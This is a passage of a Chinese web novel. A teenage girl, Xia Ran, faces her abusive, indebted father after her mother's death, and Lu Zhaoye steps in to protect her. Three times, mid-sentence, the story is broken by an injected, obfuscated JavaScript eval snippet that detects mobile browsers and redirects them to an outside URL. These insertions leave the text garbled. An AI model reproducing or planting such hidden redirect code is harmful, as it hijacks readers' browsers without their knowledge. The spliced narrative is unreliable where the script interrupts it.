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“我们谁都没告诉,但是……旅馆人鱼混杂,刚放暑假不久我在店里碰见过个客人,很像是当年上门讨债的人其中之一。我当时吓得魂都没了,他盯着我看了半天,最后也没说什么,住了一晚就走了。所以妈妈跟我商量说想趁着生意好时转让掉,赚笔转让费,我也没觉得很意外。” 陆照也没法想象夏燃这些年心惊胆战都是怎么过的。 两个人转了一圈回到夏燃出租屋楼下时,又到了一日的黄昏。 夕阳西照,拖的地上二人身影漫长。 陆照也没再上去。他抱着头盔,靠着摩托车,皱着眉头,有点生气又有点严肃的样子,也不知道在气什么。 “电话号码交换一下。”他说,“认识几天,我都没你号码。” 夏燃站在他面前,高挑的女性身材被他衬托成了娇小。 她报了一串号码。 他打了过去,直到夏燃手机里响了两声才挂断。 “存好了啊。”陆照也说,“有事打我电话。” 夏燃知道他要走了,心里难过。马上就要开学了,他要去隔壁城市上大学了,下一次见面不知何年何月。 但是她乖乖说:“嗯。” 陆照也低头又看了一眼夏燃,说实在的,他真是越来越欣赏她了。这姑娘一点儿不娇气,他佩服她。如果夏燃是个男的,如果他们父母没有这种关系,他一定要拉她去拜把子,让她做自己最要好的兄弟。 “喂!”他神色认真,“既然以后每年清明我们都得一起去祭祀,既然我们爸妈……我就认你当妹吧。反正你也没亲哥,我也没亲妹,你认了我以后就罩着你。” 夏燃抬起头看他。 陆照也几天没好好打理自己,下巴上都冒出来极短的一层青色胡渣子了。 “你看怎样?”他的手指扣着头盔,“不愿意就算了。” 夏燃好几秒没说话。 他有点不耐烦了,但还是梗着脖子等她回复。 她终于点了点头,轻轻地喊了一句:“哥。” “行嘞!”事后第一次陆照也弯了弯唇角,长腿一迈跨上了摩托车,“我先回去了,你回去多休息,别不把身体当身体,开学了好好上课。遇见事了第一时间打我电话,记住没?” 夏燃点了点头。摩托车在夕阳下踌躇一圈,最后还是绝尘而去。 她站在原地半天,一动不动。 天不可抵抗地暗下去,白天的世界转眼之间褪了色,没入滚烫的土地里。 夏燃低下头,盯着脚下的影子。回过头的刹那,她血液倒流,差点失声尖叫。 7. 恶人 尖叫声即将冲破喉咙之际,夏燃硬生生把它撕碎咽下了腹。 全世界一瞬间聚焦成了一张噩梦里的脸——长,上眼睑浮肿,眼尾下吊,高颧骨,鹰钩鼻,薄唇,一个瘦尖的下巴,下额正中竖挂着一道两厘米的刀疤。像一根狗鱼。 他朝她走来,走进了落日血淋淋的红光里。 大夏天的,他polo条纹衫外罩银色夹克衫,配一条灰色休闲裤,LV字样的黑色皮带绕腰间一圈。上次见到他,他皮带扣最外第二洞,这一次,是最里第二洞。浓密的黑油发也消失了,取而代之的是一个不算平整的秃脑瓢。 这让他在大白天也散发出了无赖和阴鸷的气味。 夏燃知道,那件银色夹克衫的里面,潜伏着一条刺青了黑眼金嘴的鹫雕右臂。那是他的梦想。他渴望成为无数女人身上的人,所有男人头顶上的人上人,在欲里肆虐,在钱上翻滚。 但他做不到,他是一条狗鱼。 狗里的败类,鱼中的垃圾。 夏燃的眼睛极速冷却,长年累月堆积的恐惧和厌恶早已成了深入骨髓的本能。 她捏着手机的手悄然背到了身后。 夏许利的吊眼一眨不眨,目光古怪地盯着自己的女儿。 他厌恶她。是的,一个父亲厌恶自己的亲生女儿。 即便她天生自带夏家三代如出一辙的尖尖下巴,小时候跟他有三分像。 夏许利想要的,是一个儿子,一个能当他左膀右臂可以为他传宗接代的儿子。徐阿秀这个没用的破玩意,连个男孩都保不住,一进入她身体就掉,大自然里哪一个王者不是天生基因的强悍。碰一下就能掉,生下来也不会有什么大本事! 他多想跟大时代里的丁蟹一样,拥有四个对他前拥后簇的儿子!父子联手,大杀四方! 可惜啊可惜,可恨啊可恨,最后碰了不掉的,是个女孩。 这个女孩,生下来就是跟他作对的。四岁时就会冲上去挡在徐阿秀的身前,九岁时拿水杯砸向他大声呼叫,十一岁时开始打电话报警,十二岁时鼓动徐阿秀出逃,十五岁时干脆就把徐阿秀藏起来了。 生意场上的兄弟说,有些孩子天生是来报恩的,有些则是来报仇的。子女命缘,三分看培养,七分是天意。所以她一定是来报仇的。 还好,她才十六。 还好,他是她的爸,是她唯一的监护人,是这个家的唯一主人。 一男一女,一父一女,四目相对,恨戾对峙。 “这么久没见你爸我了,想不想我?”他阴阳怪气开了口。 夏燃不响,眼睛黑黢黢的,手藏在背后微颤,强忍着克制着等待他的表演。 夏许利见她这幅样子,又环视一圈四周,冷笑一声道:“天太热了,不带你爸回新家坐坐?我说你也真是的,放着我的大房子不住,偏偏要来这鬼地方花钱租房子?租金每个月多少钱,开旅社赚了不少钱吧?” 夏燃一听就明白了,肯定是有人泄露了她们母女俩在这里开旅店的事情。他去旅店了,打听到她现在住的小区了。她不确定他是否知道她家具体的房号,毕竟她谁都没有告诉,旅馆保洁阿嫂也不知道,收快递都是直接送到门卫室,她自己去搬的。 见她还是不吭声,夏许利耐心耗尽,往地上嗦吐了一口痰,舔了舔上门牙,开门见山:“怎么,当哑巴了,还是要面子?想让我在这里大声吆喝,我夏许利生了一个不孝之女,把我老婆克死了?” “厉害啊夏燃,你厉害啊。你妈在我身边这些年,不都活得好好的?你说你,一把她带走,她就吧嗒一下子,死了。哈哈,死了!我跟你说过多少遍,是千秋山万代大师算的命——你妈给我招财,我给你妈镇命啊!你咋就不信呢?现在好了吧,她死了,你信了吧,你把你妈害死了,你可真是个大孝顺女儿啊!” 夏燃感觉自己又像回到了昨夜高烧般,他嘴里的那口痰仿佛吐到了自己的脸上,恶心到她觉得胃里剧烈抽搐,针扎般疼痛。 她在心里拼命告诫自己,要冷静,千万不能再被他激怒。这么多年还没看清这个人吗?他就是个脑残,脑神经短路的神经病,根本无法用人类正常思维逻辑来沟通的疯子。 夏许利继续朝她走来。 他进一步,她退一步,谁的目光都没有退。 正值下班高峰期,周边开始有居民经过,也有老人饭吃的早下来遛弯儿。每一个人经过他们二人身边时,都忍不住朝他们投来好奇的目光。 这些目光让夏燃感到安全。搬来火车站附近老小区的原因除了租金便宜以外,还有一个更重要的原因,那就是人口密集。 人多,监控头多,派出所离的不远。 夏许利最讨厌她这幅鬼样子。他忘了夏燃从十几岁开始,骂她也不再回嘴,打她也不再求饶,就这么安安静静看着他,好像他是个白痴。一脸死人样,真他妈没劲。她肯定是徐阿秀跟别的男人生的,一点没有继承他激情澎湃的气度和风采! 他拿手指往天上夸张一指:“你爸我驰骋商场这么多年,你心里想什么我会不知道?你总说我对你不好,这世界上怎么可能当爸妈的会对自己孩子不好?打是亲骂是爱啊,我是真心为你好啊。你自己想想,我这么多年供你吃供你喝供你大房子住供你天天有书读,对你掏心掏肺掏真金白银的,你说你怎么就变成了一个白眼狼?” 见她还是不响,又见时不时有人目光投向他们,夏许利咬碎了牙,声音一变,道:“哎,我就是过来问一句,你妈的后事你是怎么处理的?警察就说她死了,具体什么都不肯电话里告诉我,叫我去派出所一趟要么就来联系你。我想来想去还是联系亲女儿吧,你快告诉我,她埋哪了?哪个公墓?” 夏燃手还背在身后,一个字一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126774|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“关你屁事啊。” 夏许利差点拳头挥过来,但他自诩是工地上商场里摸爬滚打过来的,这点自制力还是有的。他抿着嘴,吊眼低视,额头上露出三道深刻的褶皱。那副在家里唯吾独尊目中无人的幽戾眼神又不自觉地显露出来。 “呵,看吧看吧,这就是我花那么多钱养的女儿。养女儿就是没用啊,赔钱货啊!大了翅膀硬了就来骂老爹了!”他大声嚷嚷道,“我连我老婆埋哪都不知道,这世界上还有比我更惨的丈夫吗?” 他们周边开始聚了一圈人。 夏许利眼珠子提溜一转。 “女儿啊,当爹的求求你了,快告诉我吧,我要去看她啊。你是不是怪我?我一个男人,得出去赚钱啊,天天守在家里全家喝西北风啊!这两年我是过得艰难,我知道我没钱拿回家,你们母女都看不起我!但是人生一世,谁能真正保证自己永远一帆风顺!人生不就是高低起伏,起起落落!我低谷期最需要就是家人的支持,你们支持我,我一定会起来的!你们不要一见我受点挫折就离开我好不好?我是个男人,也是个人啊,我也会脆弱的……” 开始有不知情的居民对着夏燃指指点点。 夏燃就这么静静地看着夏许利,看着看着,在心里笑了。 崩溃的那些年已经熬过去了,妈妈不在了,如今这世界上就她一个人了。 一个人的命,还有什么好怕。 她彻彻底底地冷静了下来。 “大家快走吧,不要在这里长待!”她朝着周边居民喊,“我爸这两年一直住在精神病院,不知怎么就跑出来了!他是人格分裂患者,有臆想症,看着好好的,其实已经在发病了,大家不要在这了,危险!” 听她这么一说,围观群众脸色集体大变,拔腿就散。也不管真的假的了,万一是真的可就完蛋了。精神病杀人可是不犯法的啊! 夏燃掉头就往门卫处跑。 夏许利没想到她玩这一出,生气之前反而先愣怔几秒,见她已经跑出四五米,这才后知后觉反应过来,头上青筋崩裂跳动,嘴里大喊了一句草你妈的,冷着目光就往夏燃身后追去。 夏燃什么都不顾了,她疯了一样往前跑。但她高烧刚退,也没吃多少东西,身子太虚,跑着跑着身上就没了力气,又听后面的追赶声越来越近,越来越清晰…… 啪嗒,啪嗒,啪嗒。 小时候她最害怕听见的声音。藏在床底下,看见一双黑色的皮鞋朝床边走过来,啪嗒。 她在心里跟自己说,就让他打自己一顿,在光天化日之下,当路边摄像头和围观群众的面,这样她就有更多的证据去报警起诉了。 她真是想把他关牢里去啊—— “你能跑哪去?”夏许利的声音在背后冷不丁地出现,像条毒蛇一样绕上了她的后脖,“你是我女儿,我是你老子,你能跑哪去?” 8. 对抗 你能跑哪去? 徐阿秀曾经也说过类似的一句话,她说,我能去哪呢。 小学文凭,没有房子,不会开车,户口在男人名下,有一个需要在固定场所稳定上学的女儿,能去哪呢? 夏燃没有继续跑了,只是她也没有回头。她停下脚步,刻意忽略掉背后一层的鸡皮疙瘩,高高地挑起了眸。 她面前一根高杆路灯上扎着一个白色摄像头,距离自己十米开外就是门卫岗,岗亭右边两百米就是派出所。 夏天女生校服是翻领体恤衫和及膝百褶裙的设计,没有口袋,她一直把手机紧紧攥在手心里。 夏许利的吊眼长得古老,天黑下来时看,像是清末默片,带点鬼气,如同他刚刚说话的口气。 夏燃一点都不想看见那张令人恐惧和作呕的面孔,但她还是缓缓回过了头。 她要激怒他。 “你想知道妈妈埋哪了?可以啊,给我一百万,我告诉你啊。”她缓缓说道。 夏许利根本没把她的话当一回事。他的吊眼眯了起来,抬起一只手,自以为自己是意大利教父,高傲地放在夏燃的肩膀上。 她立刻像沾了屎一样,面露恶心,后退一步,甩开了。 日落红光黯淡许多,空气因暑热膨胀着墨青的蓝光,像一整片腰腹的乌青。 之前围观的群众虽然作鸟兽散,但八卦之心轻易不散。有好几人回到家中,依旧站在阳台上往下探,也有人隔得老远望向他们。路边还时不时有其他不知情的居民三三两两路过。 开战吧。夏燃告诉自己,不许胆怯。 “这一年多你过得怎么样?看你瘦那么多,好像过得不怎么样。” “之前讨债的人堵家门口,我跟他们说你过得可好了,不管我们死活,也根本不在乎债务,天天在外面吃喝玩乐自在逍遥,一点不像没钱的样子。他们脸都气白了呢,说找到你时一定要打死你。怎么你还活着啊?” 夏许利冷笑地听着她说,倒并没有做其他多余的动作。 夏燃深吸一口气,一鼓作气道:“你被他们找到了也是活不久的,不如死之前把钱全部转给我,毕竟你死了能替你收尸的人也只有我一个了。你多给我点钱,我就给你造一个大一点的墓碑,每次去看你多烧点纸钱,省的你下地狱时没钱孝顺阎王爷。” 这一大堆话,她说得又疾又冲,仿佛平日里就是一个牙尖嘴利能言善辩的人。 可她不是这样的人。熟悉她的朋友都知道,她根本不是。 大概是继承了徐阿秀的心软,她天性是一个温和善良、没有攻击性、对朋友体贴关心的女孩。 之所以能说出这些话,丝毫不需要思索的时间,全因她在心里排练过许多次。走路时想,睡觉前想,梦里还在想。 每一次克服自己的天性做出完全相反的事,都会耗费她全身的心力。每一次对抗完,都像跑了万里马拉松一样,精疲力竭。 如果有选择,她也想躲在一个人的身后,被好好保护,做一个柔软没有尖刺的人。 夏许利并没有表现出她想象中的勃然大怒,如果按照以往在家中的表现,他一定会赏她几个巴掌,或者一脚蹿她肚子上。可他这次没有。 夏燃唇角微颤,闭了闭眼。她对自己的表现很失望。 她能听见,刚才从自己喉咙里钻出的声音明显在颤抖,语气也完全不如脑海里编排时的凶狠尖锐。倒有点像小朋友第一次上台表演,台下每一个人都能看清她的紧张。 为什么!她还是不够强……究竟如何做才能彻底克服自己的天性? 夏许利耍玩地看着她,看着看着,森森地笑了。 虽然他是个疯子,但他是个能够审时度势的疯子,否则也不可能曾经一度辉煌过。 而且他四十六岁了,夏燃才十六。三十年之差是阅历,是经验,是气势,是姜还是老的辣。 “想激怒我啊,也不看看你老子我是谁?我在商场里摸爬滚打的时候你他妈还在狗肚子里呢。宝贝女儿,我可舍不得当那么多人面打你。” 他伸出一根手指头正对着夏燃的脸,极不尊重地点了点。 “不就是问一句你妈埋哪了,用得着这么激动,声音抖得我都听不清。”他得意地嘲讽,“不告诉我没关系,找个姓徐的一问就知道了,有什么难的。” 想当年他之所以要娶徐阿秀,全是因为听了兄弟的话,请了一大师算命,说他要在三十岁之前娶个老婆,这样就会财运亨通。夏许利本来只是将信将疑,秉承着信了也没啥坏处的想法,找专人去匹配了下生辰八字,最后挑中了相貌清秀个性懦弱的徐阿秀。这么一来,大师的话也听了,也没人敢妨碍他在外面继续玩。只是徐家人就是贼,开口要了一大笔钱,谈好的嫁妆一分没回。他后来还专程去了一趟,一脚蹿碎了他们家一扇木门和四张破椅子,徐家人愣是一个屁都没敢放。 不过嘛,自从娶了她,他工程上的生意确实有了明显的进步。一帆风顺了好几年,心里那口恶气慢慢地也就散了。但自从夏燃长大后,开始鼓动徐阿秀离开他,他生意运就坏了,这两年更是雪崩似的一落千丈。他醍醐灌顶,觉察到大师就是大师,难怪香港大佬做生意之前都要看风水拜大师啊! 所以!就算徐阿秀死了,他也要把她的骨灰盒从土里挖出来,镇宅! 夏许利嘴角斜笑。 “对了,有些为人处事的基本道理呢,我还是要教教你。否则你在外面要一直表现得这么天真幼稚,说出去会让人笑话我这个当爹的没教好。” 夏许利舔了舔嘴角,露出一排被烟熏得蜡黄的牙齿。 “你躲我躲久了,有一件事没听说过吧。公司已经正式宣布破产了,什么叫公司破产呢,就是个人解放了,哈哈,有趣吧,法人本来也不是我,那些农民工能拿我怎么办?我现在正大光明想去哪去哪,法律保护我这种遵纪守法的良民!” 夏燃瞪大眼睛,不可置信地看着他,完全不理解他在说什么。 “我呢,现在就只欠一个人的钱了。那个人手段确实有点高,追我追得紧,搞得我有点烦。乖女儿,你先把你妈钱借我几天,我甩了他后立马重出江湖!父女连心,其利断金,我东山再起,才能保你衣食无忧继续做富二代啊!” 夏燃只觉四周声音嘈杂,夏许利的声音一会儿远一会儿近,机器伐木一般,刨出满世界的木屑尘埃。 尘埃落尽,她在其中惨淡地笑。 “你怎么好意思问我要钱呢?”夏燃真是觉得世界荒谬到了极点,“你觉得妈妈一边工作一边带孩子会有多少余钱?能活着就很好了。你既然是我爸,应该是你给我钱吧。你不给我,我就去告你不抚养未成年子女!” 夏许利听得不耐烦。说没钱已经让他很不开心了,偏偏猫还要画老虎的须。 “闺女啊闺女,我也搞不懂你,总想让你爹坐牢干什么?我坐牢了你有什么好处?我坐牢了,谁都会骂你天打雷劈连亲爸都害!以后认识你的每一个人,都会嘲笑你有一个坐牢的爸!嘲讽你,嫌弃你,离你远远的,生怕你遗传到老子坏的基因呢。听你妈说你以后还想做法官?哈?法官大人没告诉你,你要是有一个坐牢的爸,根本当不了吗?政审通不过啦!哦对了,以后谁娶你当老婆,谁钻你肚子里当孙子,审核也通不过他们!狠吧,那个词怎么说来着,株连三代!” 他鄙夷地看她。夏燃跟触了电似的,越听脸色越灰暗。 从来没有人跟她说过政审的事。徐阿秀完全不懂,她也没有接触过懂的人,小学初中同学们之间也从未聊过类似的话题。 夏许利的声音变成了路灯的电流,贯穿了她的耳膜。红色的天空突然崩塌,倒在了灰色的大地上。世界是辆白色的水泥车,里面拼命旋转的是她的脑浆。有那么长达几十秒的时间里,夏燃脑海里一片空白,连身后出现的摩托车声音都没有听到。 她像个傻子,独自一人站在宇宙崩塌的灰烬中。 直到夏许利推了她一把,直到她踉跄地倒退了一步,直到一个高大的身影扶住了她,又挡在了她的面前。 她闻见了熟悉的气味。那个气味是绵绵阴雨里突然出现的阳光,纯粹、干净、赤忱,带着一往无前的勇气和力量。 她被这个味道吸引着,懵懵地抬起了眸,看见了一个熟悉的背影。 那个背影是如此的宽阔强大,把她牢牢护在身后,彻底挡住了夏许利那张丑陋的脸。 夏燃的眼眶一下子就红了。 陆照也比夏许利还高半个头,他居高临下盯着面前的男人,一点不怕,也不慌。人和人在这一刹那变成动物世界里的两只雄兽,其中一个占据着压倒性的身体和年龄优势。夏许利见这个男孩子去而复返,眯了眯眼,知道女儿真找了个靠山。一个年轻的小靠山。 见事态发展得更有意思了,他们三个身边又开始围了人。 夏许利其实并没有想过今天就能拿到钱,想来徐阿秀一介没文化的女人,攒到的钱跟他以往辉煌时期相比,那就是九牛一毛。他今天就是来探探虚实,顺便出口恶气。 他眼珠子一转,决定先到此为止,反正他已经知道她住哪了。 “走咯。”他斜着眼睛对着夏燃笑,又深深地扫了陆照也一眼。 陆照也捏紧了拳头,身子正欲往前,却察觉到背后那人拉住了他的衣摆,轻轻的,脆弱的,祈求的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126775|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回过头看了她一眼,只见她的眼眶红红的,对着自己摇了摇头。 陆照也绷紧着下巴盯了她一会,又转过头去,从上到下俯视夏许利,打量的、冷漠的、鄙夷的。 两个男人目光对视,最后还是夏许利先偏过了头去。 “龟孙子,今天先放过你。”夏许利心里骂道,“以后不还得上门求我,管我叫爹!” 待盯着夏许利的影子消失在小区尽头,陆照也才开口跟夏燃说第一句话:“回家再说。” 旁边居民有人跟他们聊天,陆照也理也不理,推着摩托车走在夏燃身边,从人群中走出去。他腿长,不自觉就走快了。夏燃高烧刚退不久,又奔波了一天,身子虚,费了一点力让自己跟上他的脚步。 待到单元楼下,陆照也收住了脚步,把摩托车停在楼道里面,往后看了一眼,让夏燃先上楼。 夏燃怕自己走得慢会让陆照也不耐烦,埋头一个劲地往上走。待走完五层楼后,她整个人都快虚脱了。 两个人回到了屋子里。陆照也半个多小时前刚走,现在又回来了。 门砰的一声关上,屋子里又只剩下了两个人。 他人高马大地站在她的面前,夏燃坐到椅子上,静静低着头,胸脯随着呼吸小幅度起伏着。 还是陆照也先打破了僵局。 “那个人就是你爸?” 夏燃先是点了点头,然后又慢慢地摇了摇头。 陆照也看得明白,这人就是夏许利,但她不想让他当自己爸。 他又扫了餐桌一眼,桌上面包和盒装牛奶都没动。 “你怎么回来了?”夏燃注意到他的眼神,轻轻地说,“是拉下什么东西了吗?” 这一问把陆照也给问住了。 他离开之时,眼神落在摩托车的后视镜里,小小的后视镜倒映出一个更加纤薄瘦小的身影。她一动不动站在路边,出神地望着他离去的方向,身子越来越小,越来越小,直到他拐了个弯,才彻底消失不见。 摩托车穿过老城区狭窄拥挤的街道,穿过市井繁华的商铺,穿过摩肩接踵的车站,穿过鳞次栉比的广告牌,穿过车水马龙,穿过人间烟火,穿过滚滚红尘,直到他驶入宽阔的大马路上,眼前除了飞速经过的车流和夏日干裂的灰尘外,再也看不见一个人,他突然就在路边停了下来。 后视镜里明明只有身后掠过的车辆,他却又在里面看见了那个纤薄的身影,孤零零的,无依无靠的,像一棵种在大海里的树。 脑海里又想起陆刚曾经的模样,夹着烟坐在院子里,沉默的,孤独的,像院子里的枣子树。 人的心是很奇怪的,奇怪到他自己也不清楚自己究竟在想什么,行动快于脑子,他把摩托车掉了个头。 回去的路上,陆照也是这么说服自己的。 原来他跟夏燃在一个战壕里,共同抵御突如其来的变故和暴雨。他离她而去的行为,就像背叛了战友的士兵。 怎么着也得再观察观察她病是否彻底好了吧,毕竟她小小年纪,只有一个人了。 陆照也咳了两声,走到餐桌边,拿起一瓶未开封的矿泉水:“就是不想回去了,镇上亲戚朋友太多,回去烦。反正离开学还有几天,就城里待着吧,散散心。” 夏燃没听出他语气里的不自然。她心里装着事,那件事压得她喘不过气来,使得她脸上的表情还略微有点呆滞。 “那……”她想自己应该回些什么,可她在他面前,总是容易紧张的。 陆照也以为她是问他这几天准备住哪。他道:“我旁边酒店订了房,本想着过来看下你病好得怎么样。刚才他恐吓你了?” 夏燃低下头,又轻轻摇了摇,她不想再给他添麻烦了。 手心里还捏着手机,老手机运行时间太久,已经滚烫了。她后知后觉反应过来,想去关掉,心一慌,手机掉到了地上,里面兹拉一声,白噪背景音里出现了夏许利的声音。 “这么久没见你爸我了,想不想我?” “……” “你是我女儿,我是你老子,你能跑哪去?” 夏燃呆呆地听了一会,想要把手机从地上拿回来,陆照也早已快她一步,把手机拿在了自己的手里。 手机里开始传出她的声音。 “你想知道妈妈埋哪了?可以啊,给我一百万,我告诉你啊。” 夏燃的眼睛里突然就流露出巨大的恐惧。待她说完话后,就该是夏许利那一长串话了。 她瞬间忘记了身子的虚弱,猛地站起身来,第一次对着陆照也厉声大叫:“手机还给我!” 陆照也看了夏燃一眼,镇定地关掉了录音,把手机递给她,眸光暗沉。 9. 保护 其实陆照也完全没有显露出一丝生气,可是夏燃的心还是被猛地刺痛了。 她匆匆接过手机,随后便不再说话,头低得快垂到地上。二人身高差距明显,从陆照也的角度,他看不见她的表情,但能清楚地看见她头顶上一个小小的发旋、额头上尚还青红的肿块,和脸中央一个小巧的鼻头。 意识到自己失控的瞬间,夏燃觉得自己糟糕透顶。糟糕的不仅仅是她眼下的生活本身,还有她这个人。她刚才的声音,尖酸刻薄,凶神恶煞,像一个被生活压垮逼疯的可怜妇人,连她自己都不认识。 明明刚才他骑摩托离开的时候,她心里空荡荡的,好像缺失了一大块。可现在她又希望他能快点离开,这样便不用再看见自己在污泥地里翻滚的落魄样了。 陆照也哪里知道她心里百转千回,他根本没把她刚才的失态放在心上,脑海里正专注沉思着什么,所以一时间也没有说话。 屋里空间狭小,面对面站着两个沉默的人,更显氛围古怪。 叮咚一声,短信铃声落入了寂静的水面,打破了二人之间的僵局。 夏燃下意识地扫过短信的内容,眼神瞬间变了。还未等她做出任何反应,手机干脆地响起了通话铃声。 她的铃声选的是哆啦A梦的主题曲,倒很符合她这个年纪的女孩子,青春张扬,无忧无虑。 可她脸上的表情跟音乐截然相反。 手机欢乐地在她小小的手掌心里唱歌,夏燃却觉得自己握着一个烫手的砖头,心直线下坠,一时间连呼吸都忘了。 陆照也迅速地瞄了一眼,是一串数字号码。 夏燃熄灭了歌声,又一直按着声音键,直接调到了静音。 二人进屋后忘了开灯,窗外天已半黑,手机的屏幕在二人中间照出一大片淡漠的白光。 夏燃干脆把手机关机,屏幕朝下,按在了桌子上。 “他?” 陆照也的声音在她耳边响起。 “不是。”夏燃这次回复地很迅速,“不是他。” 察觉到自己的声音打着颤,她又背过身去,深深吸了一口气,想把话题扯开,又想把他赶走。 她立刻想到了那件因为发烧生病而被耽误说出来的事。 “对不起,我妈妈下葬的费用我还没有给你。你昨天带我去看病买药花了多少钱,我一并给你吧。” 当夏燃不必处于战斗状态或因情绪激动失态时,她正常讲话的声音是轻轻柔柔的,像一片白色绒鹅毛。 那片鹅毛挠得陆照也心里越发不是滋味。 都说幸福是通过比较出来的,不幸也是同样。陆照也觉得自己的思想很不道德,因为夏燃的存在,他失去父亲应有的悲伤确实显得过于轻薄了。 他低声道:“顺带的,不用给。” 她回过头来,快速地抬头看了他一眼,倔强地摇了摇头:“一定要给的。” “我比你有钱。”陆照也干脆说得不客气些,“我爸给我留了不少,而且你妈埋在我们陆家的墓地里,我要是收你钱,我爸得跳出来打我。再说你发烧是我害的,如果我不坚持带你骑摩托回家,你也不会吹风。行了,以后别再提这个了,再说我就生气了。” 过了几秒,夏燃轻轻点了点头,小声地应了声“嗯。” 又安静下来。 他们本来就不熟,之前他从未见过她,也没有听说过这么一个人,他对她几乎一无所知。二人之间除了父母后事安排也没有别的共同话题,而死亡本身就是禁忌。 光色越来越稀薄,再过几分钟黑夜就要真的降临了。 夏燃走到门边,顿了一下,还是打开了厨房的灯。那盏灯不太亮,灯光昏黄还有些微微的屏闪,照得人的脸像一张发霉的旧胶片。 她在这种光线下对他扯了一个疏离的笑容:“谢谢你昨天对我的照顾。” 陆照也不是笨蛋,他知道她这是在送客呢。如果按照以前,他根本不会跟一个不熟悉的女孩子在一间屋里多待,不用等着送客他自己一早就走了。 他扫了一眼桌上死静的手机,不带犹豫,拉过靠门边的那张椅子,金戈铁马往上一坐,手指点了点桌上的面包。 “你过来坐,吃点东西,我有事问你。”他突然表现得异常强势,像是电视台上的国家领导人,或者提前把自己代入了警察角色。 夏燃还站在门边,被他这一套行云流水反客为主的动作搞到发楞。 他催促:“愣着干嘛,过来坐啊。” 夏燃毕竟才十六,经验还没有老道到可以熟练应付这种反常。她犹豫了一下,还是过来坐在了他的对面。 陆照也把面包牛奶往她那边一推,沉着气问她:“你哪个高中的?” 夏燃撕开面包塑封袋,轻声回答道:“明诚高中的。” 是个耳熟能详的重点高中。 他嗯了一声,又问她哪个班的,高二读文科理科,几号开学,之前怎么上学的,跟上门调查户口似的,丝毫没有不刺探他人隐私的自觉性。他问一句,她乖乖答一句,倒也没冷了场。只是他讲话时习惯盯着人的眼睛,目光太坦荡太赤忱又太霸道了。夏燃不想招架,也招架不住,眼神一直落在手里面包上。 手机就放在他们二人之间的桌上,没人再把它拿起来过。 陆照也一直观察着夏燃,他注意到她在回答他问题时,眼神时不时会往门外飘一眼,好像是在担心有谁会来敲门。 “你开学后在学校住宿,那这里的房子,你是打算退租,还是继续留着?”他一如既往盯着她的眼睛问。 夏燃咀嚼着面包。一口面包而已,她咀嚼了很久才咽下。 徐阿秀自小就是一个本分的女人,也不算特别聪明,但她太爱自己的女儿,一边舍不得抛下女儿独自面对这个世界,一边又不想因病耽误女儿和让她目送妈妈的病痛死亡。所以徐阿秀写了长长的一封信,把自己能想到的事情都交代清楚。房租是半年一付,本在七月底就已到期了,她提前跟房东申请先续一个月,具体是否延续看夏燃自己的安排。这里离高中不算太近,现在旅店已退,徐阿秀已经不在,夏燃没有必要再来来回回。 而且,屋里也没有什么值钱的东西。家具是房东二手淘来专为出租房用的。她们母女二人来的时候,只带了个人的随身衣服、书本和所有的私藏钱。 只是......如果不住这里,就要另外找地方放东西。毕竟住了一年,母女俩都陆续添置了不少个人物品,夏燃不愿丢掉与徐阿秀有关的所有回忆。未成年人没法自己签租房合约,这一点夏燃是在跟徐阿秀找房时通过中介了解到的。房东怕出事担责,法律上需要法定代理人的同意。 迟迟等不到回答,陆照也又问:“学校里有人欺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126776|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负你吗?” 这个问题夏燃倒是立刻回答了:“同学们都挺好的,学习氛围也很好。” 对夏燃而言,高中比初中真的要好太多了。虽然很多人觉得高中太苦,但初中时代学生鱼龙混杂,又正值叛逆期,每个学校大概都会存在几个校霸或者混混,夏燃这种长相的遭到过排挤。但明诚高中里学生们都忙着学习,课从早排到晚,痘痘都长满一脸,自然也少了许多捉弄欺负他人的心思。 陆照也直接替她下了结论:“既然要住校,这里房子退了吧,东西搬我家去,镇上房子大,想放什么都有地方放。” 这一次,夏燃没有再避开目光。她抬起头看向陆照也,眼睛一眨不眨,眸子沉得像夜里的黑葡萄一样,哑的没有光亮。 陆照也盯着她的眼睛,半步也不退让。 最后还是她先开了口。 “你为什么要帮我?”夏燃说,“我会给你惹麻烦的。” 这是她第三次在他面前说出麻烦两个字。陆照也笑了:“你忘了你叫我什么了?” 夏燃立刻反应过来,但她没有说出来。 “现在我是你哥。” 陆照也是一个字一个字说的,认认真真。 * 第二天日落黄昏之际,夏燃背着书包,又坐上了陆照也的摩托车。 夏燃不知道陆照也是怎么猜到的,自己收到的短信是讨债人发来的。夏许利直接把她的电话和小区名给了讨债者,说她女儿现在有钱了,可以帮他还。 